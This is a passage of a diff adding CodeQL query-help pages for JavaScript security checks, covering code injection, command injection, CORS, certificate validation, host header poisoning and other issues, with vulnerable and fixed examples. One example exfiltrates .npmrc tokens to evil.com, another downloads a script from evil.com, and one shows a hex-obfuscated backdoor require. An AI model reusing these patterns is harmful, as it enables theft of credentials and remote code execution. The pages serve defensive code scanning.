allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks: + + +```javascript +window.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1]; + +``` + +## References +* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CodeInjection.md b/docs/language/query-help/javascript/CodeInjection.md new file mode 100644 index 00000000000..3d53cee6e66 --- /dev/null +++ b/docs/language/query-help/javascript/CodeInjection.md @@ -0,0 +1,34 @@ +# Code injection + +``` +ID: js/code-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-094 external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/CodeInjection.ql) + +Directly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors. + + +## Recommendation +Avoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur. + + +## Example +The following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information. + + +```javascript +eval(document.location.href.substring(document.location.href.indexOf("default=")+8)) + +``` + +## References +* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). +* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CommandInjection.md b/docs/language/query-help/javascript/CommandInjection.md new file mode 100644 index 00000000000..ee600f0cdee --- /dev/null +++ b/docs/language/query-help/javascript/CommandInjection.md @@ -0,0 +1,42 @@ +# Uncontrolled command line + +``` +ID: js/command-line-injection +Kind: path-problem +Severity: error +Precision: high +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/CommandInjection.ql) + +Code that passes user input directly to `require('child_process').exec`, or some other library routine that executes a command, allows the user to execute malicious code. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. + + +## Example +The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `child_process.exec` without examining it first. + + +```javascript +var cp = require("child_process"), + http = require('http'), + url = require('url'); + +var server = http.createServer(function(req, res) { + let cmd = url.parse(req.url, true).query.path; + + cp.exec(cmd); // BAD +}); + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ConditionalBypass.md b/docs/language/query-help/javascript/ConditionalBypass.md new file mode 100644 index 00000000000..d9812c6f614 --- /dev/null +++ b/docs/language/query-help/javascript/ConditionalBypass.md @@ -0,0 +1,64 @@ +# User-controlled bypass of security check + +``` +ID: js/user-controlled-bypass +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-807 external/cwe/cwe-290 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-807/ConditionalBypass.ql) + +Using user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data. + + +## Recommendation +When checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values. + +Similarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for. + + +## Example +In this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in. + + +```javascript +var express = require('express'); +var app = express(); +// ... +app.get('/full-profile/:userId', function(req, res) { + + if (req.cookies.loggedInUserId !== req.params.userId) { + // BAD: login decision made based on user controlled data + requireLogin(); + } else { + // ... show private information + } + +}); + +``` +This security check is, however, insufficient since an attacker can craft his cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values: + + +```javascript +var express = require('express'); +var app = express(); +// ... +app.get('/full-profile/:userId', function(req, res) { + + if (req.signedCookies.loggedInUserId !== req.params.userId) { + // GOOD: login decision made based on server controlled data + requireLogin(); + } else { + // ... show private information + } + +}); + +``` + +## References +* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). +* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md b/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md new file mode 100644 index 00000000000..11c44308a1b --- /dev/null +++ b/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md @@ -0,0 +1,78 @@ +# CORS misconfiguration for credentials transfer + +``` +ID: js/cors-misconfiguration-for-credentials +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-346 external/cwe/cwe-639 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-346/CorsMisconfigurationForCredentials.ql) + +A server can send the `"Access-Control-Allow-Credentials"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests. + +When the `Access-Control-Allow-Credentials` header is `"true"`, the `Access-Control-Allow-Origin` header must have a value different from `"*"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `"Access-Control-Allow-Origin"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to. + + +## Recommendation +When the `Access-Control-Allow-Credentials` header value is `"true"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input. + +Since the `"null"` origin is easy to obtain for an attacker, it is never safe to use `"null"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `"true"`. + + +## Example +In the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request. + + +```javascript +var https = require('https'), + url = require('url'); + +var server = https.createServer(function(){}); + +server.on('request', function(req, res) { + let origin = url.parse(req.url, true).query.origin; + // BAD: attacker can choose the value of origin + res.setHeader("Access-Control-Allow-Origin", origin); + res.setHeader("Access-Control-Allow-Credentials", true); + + // ... +}); + +``` +This is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue: + + +```javascript +var https = require('https'), + url = require('url'); + +var server = https.createServer(function(){}); + +server.on('request', function(req, res) { + let origin = url.parse(req.url, true).query.origin, + whitelist = { + "https://example.com": true, + "https://subdomain.example.com": true, + "https://example.com:1337": true + }; + + if (origin in whitelist) { + // GOOD: the origin is in the whitelist + res.setHeader("Access-Control-Allow-Origin", origin); + res.setHeader("Access-Control-Allow-Credentials", true); + } + + // ... +}); + +``` + +## References +* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin). +* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials). +* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html) +* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources) +* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html). +* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingCertificateValidation.md b/docs/language/query-help/javascript/DisablingCertificateValidation.md new file mode 100644 index 00000000000..ba0c7303288 --- /dev/null +++ b/docs/language/query-help/javascript/DisablingCertificateValidation.md @@ -0,0 +1,49 @@ +# Disabling certificate validation + +``` +ID: js/disabling-certificate-validation +Kind: problem +Severity: error +Precision: very-high +Tags: security external/cwe-295 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-295/DisablingCertificateValidation.ql) + +Certificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur + +When testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used. + + +## Recommendation +Do not disable certificate validation for TLS connections. + + +## Example +The following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information. + + +```javascript +let https = require("https"); + +https.request( + { + hostname: "secure.my-online-bank.com", + port: 443, + method: "POST", + path: "send-confidential-information", + rejectUnauthorized: false // BAD + }, + response => { + // ... communicate with secure.my-online-bank.com + } +); + +``` +To make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`. + + +## References +* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security) +* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) +* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html) \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingSce.md b/docs/language/query-help/javascript/DisablingSce.md new file mode 100644 index 00000000000..d85446cd142 --- /dev/null +++ b/docs/language/query-help/javascript/DisablingSce.md @@ -0,0 +1,55 @@ +# Disabling SCE + +``` +ID: js/angular/disabling-sce +Kind: problem +Severity: warning +Precision: very-high +Tags: security maintainability frameworks/angularjs + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/AngularJS/DisablingSce.ql) + +AngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism. + +Disabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting. + + +## Recommendation +Do not disable SCE. + + +## Example +The following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`. + + +```javascript +angular.module('app', []) + .config(function($sceProvider) { + $sceProvider.enabled(false); // BAD + }).controller('controller', function($scope) { + // ... + $scope.html = '
    • ' + item.toString() + '
    '; + }); + +``` +This is problematic, since it disables SCE for the entire AngularJS application. + +Instead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`: + + +```javascript +angular.module('app', []) + .controller('controller', function($scope, $sce) { + // ... + // GOOD (but should use the templating system instead) + $scope.html = $sce.trustAsHtml('
    • ' + item.toString() + '
    '); + }); + +``` +Please note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible. + + +## References +* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce) +* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-). \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingWebSecurity.md b/docs/language/query-help/javascript/DisablingWebSecurity.md new file mode 100644 index 00000000000..766699394e5 --- /dev/null +++ b/docs/language/query-help/javascript/DisablingWebSecurity.md @@ -0,0 +1,37 @@ +# Disabling Electron webSecurity + +``` +ID: js/disabling-electron-websecurity +Kind: problem +Severity: error +Precision: very-high +Tags: security frameworks/electron + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Electron/DisablingWebSecurity.ql) + +Electron is secure by default through a same-origin policy requiring all JavaScript and CSS code to originate from the machine running the Electron application. Setting the `webSecurity` property of a `webPreferences` object to `false` will disable the same-origin policy. + +Disabling the same-origin policy is strongly discouraged. + + +## Recommendation +Do not disable `webSecurity`. + + +## Example +The following example shows `webSecurity` being disabled. + + +```javascript +const mainWindow = new BrowserWindow({ + webPreferences: { + webSecurity: false + } +}) +``` +This is problematic, since it allows the execution of insecure code from other domains. + + +## References +* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#5-do-not-disable-websecurity) \ No newline at end of file diff --git a/docs/language/query-help/javascript/DoubleEscaping.md b/docs/language/query-help/javascript/DoubleEscaping.md new file mode 100644 index 00000000000..38d0d77adf6 --- /dev/null +++ b/docs/language/query-help/javascript/DoubleEscaping.md @@ -0,0 +1,73 @@ +# Double escaping or unescaping + +``` +ID: js/double-escaping +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/DoubleEscaping.ql) + +Escaping meta-characters in untrusted input is an important technique for preventing injection attacks such as cross-site scripting. One particular example of this is HTML entity encoding, where HTML special characters are replaced by HTML character entities to prevent them from being interpreted as HTML markup. For example, the less-than character is encoded as `<` and the double-quote character as `"`. Other examples include backslash-escaping for including untrusted data in string literals and percent-encoding for URI components. + +The reverse process of replacing escape sequences with the characters they represent is known as unescaping. + +Note that the escape characters themselves (such as ampersand in the case of HTML encoding) play a special role during escaping and unescaping: they are themselves escaped, but also form part of the escaped representations of other characters. Hence care must be taken to avoid double escaping and unescaping: when escaping, the escape character must be escaped first, when unescaping it has to be unescaped last. + +If used in the context of sanitization, double unescaping may render the sanitization ineffective. Even if it is not used in a security-critical context, it may still result in confusing or garbled output. + + +## Recommendation +Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. For URI encoding, you can use the standard `encodeURIComponent` and `decodeURIComponent` functions. + +Otherwise, make sure to always escape the escape character first, and unescape it last. + + +## Example +The following example shows a pair of hand-written HTML encoding and decoding functions: + + +```javascript +module.exports.encode = function(s) { + return s.replace(/&/g, "&") + .replace(/"/g, """) + .replace(/'/g, "'"); +}; + +module.exports.decode = function(s) { + return s.replace(/&/g, "&") + .replace(/"/g, "\"") + .replace(/'/g, "'"); +}; + +``` +The encoding function correctly handles ampersand before the other characters. For example, the string `me & "you"` is encoded as `me & "you"`, and the string `"` is encoded as `&quot;`. + +The decoding function, however, incorrectly decodes `&` into `&` before handling the other characters. So while it correctly decodes the first example above, it decodes the second example (`&quot;`) to `"` (a single double quote), which is not correct. + +Instead, the decoding function should decode the ampersand last: + + +```javascript +module.exports.encode = function(s) { + return s.replace(/&/g, "&") + .replace(/"/g, """) + .replace(/'/g, "'"); +}; + +module.exports.decode = function(s) { + return s.replace(/"/g, "\"") + .replace(/'/g, "'") + .replace(/&/g, "&"); +}; + +``` + +## References +* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). +* npm: [html-entities](https://www.npmjs.com/package/html-entities) package. +* npm: [js-string-escape](https://www.npmjs.com/package/js-string-escape) package. +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ExceptionXss.md b/docs/language/query-help/javascript/ExceptionXss.md new file mode 100644 index 00000000000..ecfe1537078 --- /dev/null +++ b/docs/language/query-help/javascript/ExceptionXss.md @@ -0,0 +1,45 @@ +# Exception text reinterpreted as HTML + +``` +ID: js/xss-through-exception +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/ExceptionXss.ql) + +Directly writing exceptions to a webpage without sanitization allows for a cross-site scripting vulnerability if the value of the exception can be influenced by a user. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. + + +## Example +The following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting. + + +```javascript +function setLanguageOptions() { + var href = document.location.href, + deflt = href.substring(href.indexOf("default=")+8); + + try { + var parsed = unknownParseFunction(deflt); + } catch(e) { + document.write("Had an error: " + e + "."); + } +} + +``` + +## References +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/FileAccessToHttp.md b/docs/language/query-help/javascript/FileAccessToHttp.md new file mode 100644 index 00000000000..7227bb00c53 --- /dev/null +++ b/docs/language/query-help/javascript/FileAccessToHttp.md @@ -0,0 +1,42 @@ +# File data in outbound network request + +``` +ID: js/file-access-to-http +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-200 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-200/FileAccessToHttp.ql) + +Sending local file system data to a remote URL without further validation risks uncontrolled information exposure, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. + + +## Recommendation +Examine the highlighted code closely to ensure that it is behaving as intended. + + +## Example +The following example is adapted from backdoor code that was identified in two popular npm packages. It reads the contents of the `.npmrc` file (which may contain secret npm tokens) and sends it to a remote server by embedding it into an HTTP request header. + + +```javascript +var fs = require("fs"), + https = require("https"); + +var content = fs.readFileSync(".npmrc", "utf8"); +https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: content } +}, () => { }); + +``` + +## References +* ESLint Blog: [Postmortem for Malicious Packages Published on July 12th, 2018](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes). +* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure). +* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). +* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HardcodedCredentials.md b/docs/language/query-help/javascript/HardcodedCredentials.md new file mode 100644 index 00000000000..bf416991c16 --- /dev/null +++ b/docs/language/query-help/javascript/HardcodedCredentials.md @@ -0,0 +1,44 @@ +# Hard-coded credentials + +``` +ID: js/hardcoded-credentials +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql) + +Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + + +## Example +The following code example connects to a Postgres database using the `pg` package and hard-codes user name and password: + + +```javascript +const pg = require("pg"); + +const client = new pg.Client({ + user: "bob", + host: "database.server.com", + database: "mydb", + password: "correct-horse-battery-staple", + port: 3211 +}); +client.connect(); + +``` +Instead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code. + + +## References +* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). +* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md b/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md new file mode 100644 index 00000000000..aebe25d0e2d --- /dev/null +++ b/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md @@ -0,0 +1,41 @@ +# Hard-coded data interpreted as code + +``` +ID: js/hardcoded-data-interpreted-as-code +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-506 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-506/HardcodedDataInterpretedAsCode.ql) + +Interpreting hard-coded data, such as string literals containing hexadecimal numbers, as code or as an import path is typical of malicious backdoor code that has been implanted into an otherwise trusted code base and is trying to hide its true purpose from casual readers or automated scanning tools. + + +## Recommendation +Examine the code in question carefully to ascertain its provenance and its true purpose. If the code is benign, it should always be possible to rewrite it without relying on dynamically interpreting data as code, improving both clarity and safety. + + +## Example +As an example of malicious code using this obfuscation technique, consider the following simplified version of a snippet of backdoor code that was discovered in a dependency of the popular `event-stream` npm package: + + +```javascript +var r = require; + +function e(r) { + return Buffer.from(r, "hex").toString() +} + +// BAD: hexadecimal constant decoded and interpreted as import path +var n = r(e("2e2f746573742f64617461")); + +``` +While this shows only the first few lines of code, it already looks very suspicious since it takes a hard-coded string literal, hex-decodes it and then uses it as an import path. The only reason to do so is to hide the name of the file being imported. + + +## References +* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). +* The npm Blog: [Details about the event-stream incident](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident). +* Common Weakness Enumeration: [CWE-506](https://cwe.mitre.org/data/definitions/506.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md b/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md new file mode 100644 index 00000000000..bb6f7633ccb --- /dev/null +++ b/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md @@ -0,0 +1,77 @@ +# Host header poisoning in email generation + +``` +ID: js/host-header-forgery-in-email-generation +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-640 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.ql) + +Using the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site. + +If the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password. + + +## Recommendation +Obtain the server's host name from a configuration file and avoid relying on the Host header. + + +## Example +The following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker: + + +```javascript +let nodemailer = require('nodemailer'); +let express = require('express'); +let backend = require('./backend'); + +let app = express(); + +let config = JSON.parse(fs.readFileSync('config.json', 'utf8')); + +app.post('/resetpass', (req, res) => { + let email = req.query.email; + let transport = nodemailer.createTransport(config.smtp); + let token = backend.getUserSecretResetToken(email); + transport.sendMail({ + from: 'webmaster@example.com', + to: email, + subject: 'Forgot password', + text: `Click to reset password: https://${req.host}/resettoken/${token}`, + }); +}); + +``` +To ensure the link refers to the correct web site, get the host name from a configuration file: + + +```javascript +let nodemailer = require('nodemailer'); +let express = require('express'); +let backend = require('./backend'); + +let app = express(); + +let config = JSON.parse(fs.readFileSync('config.json', 'utf8')); + +app.post('/resetpass', (req, res) => { + let email = req.query.email; + let transport = nodemailer.createTransport(config.smtp); + let token = backend.getUserSecretResetToken(email); + transport.sendMail({ + from: 'webmaster@example.com', + to: email, + subject: 'Forgot password', + text: `Click to reset password: https://${config.hostname}/resettoken/${token}`, + }); +}); + +``` + +## References +* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html). +* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/). +* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HttpToFileAccess.md b/docs/language/query-help/javascript/HttpToFileAccess.md new file mode 100644 index 00000000000..dae88649064 --- /dev/null +++ b/docs/language/query-help/javascript/HttpToFileAccess.md @@ -0,0 +1,42 @@ +# Network data written to file + +``` +ID: js/http-to-file-access +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-912 external/cwe/cwe-434 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql) + +Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. + + +## Recommendation +Examine the highlighted code closely to ensure that it is behaving as intended. + + +## Example +The following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`. + + +```javascript +var https = require("https"); +var fs = require("fs"); + +https.get('https://evil.com/script', res => { + res.on("data", d => { + fs.writeFileSync("/tmp/script", d) + }) +}); + +``` +Other parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source. + + +## References +* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). +* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload). +* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html). +* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IdentityReplacement.md b/docs/language/query-help/javascript/IdentityReplacement.md new file mode 100644 index 00000000000..b8d8ccbcd00 --- /dev/null +++ b/docs/language/query-help/javascript/IdentityReplacement.md @@ -0,0 +1,38 @@ +# Replacement of a substring with itself + +``` +ID: js/identity-replacement +Kind: problem +Severity: warning +Precision: very-high +Tags: correctness security external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/RegExp/IdentityReplacement.ql) + +Replacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape. + + +## Recommendation +Examine the string replacement to find and correct any typos. + + +## Example +The following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `"` with `\"`: + + +```javascript +var escaped = raw.replace(/"/g, '\"'); + +``` +However, the replacement string `'\"'` is actually the same as `'"'`, with `\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\"'`: + + +```javascript +var escaped = raw.replace(/"/g, '\\"'); + +``` + +## References +* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ImproperCodeSanitization.md b/docs/language/query-help/javascript/ImproperCodeSanitization.md new file mode 100644 index 00000000000..c29ef6c0aa9 --- /dev/null +++ b/docs/language/query-help/javascript/ImproperCodeSanitization.md @@ -0,0 +1,63 @@ +# Improper code sanitization + +``` +ID: js/bad-code-sanitization +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-094 external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/ImproperCodeSanitization.ql) + +Using string concatenation to construct JavaScript code can be error-prone, or in the worst case, enable code injection if an input is constructed by an attacker. + + +## Recommendation +If using `JSON.stringify` or a HTML sanitizer to sanitize a string inserted into JavaScript code, then make sure to perform additional sanitization or remove potentially dangerous characters. + + +## Example +The example below constructs a function that assigns the number 42 to the property `key` on an object `obj`. However, if `key` contains ``, then the generated code will break out of a `` if inserted into a `` tag. + + +```javascript +function createObjectWrite() { + const assignment = `obj[${JSON.stringify(key)}]=42`; + return `(function(){${assignment}})` // NOT OK +} +``` +The issue has been fixed by escaping potentially dangerous characters, as shown below. + + +```javascript +const charMap = { + '<': '\\u003C', + '>' : '\\u003E', + 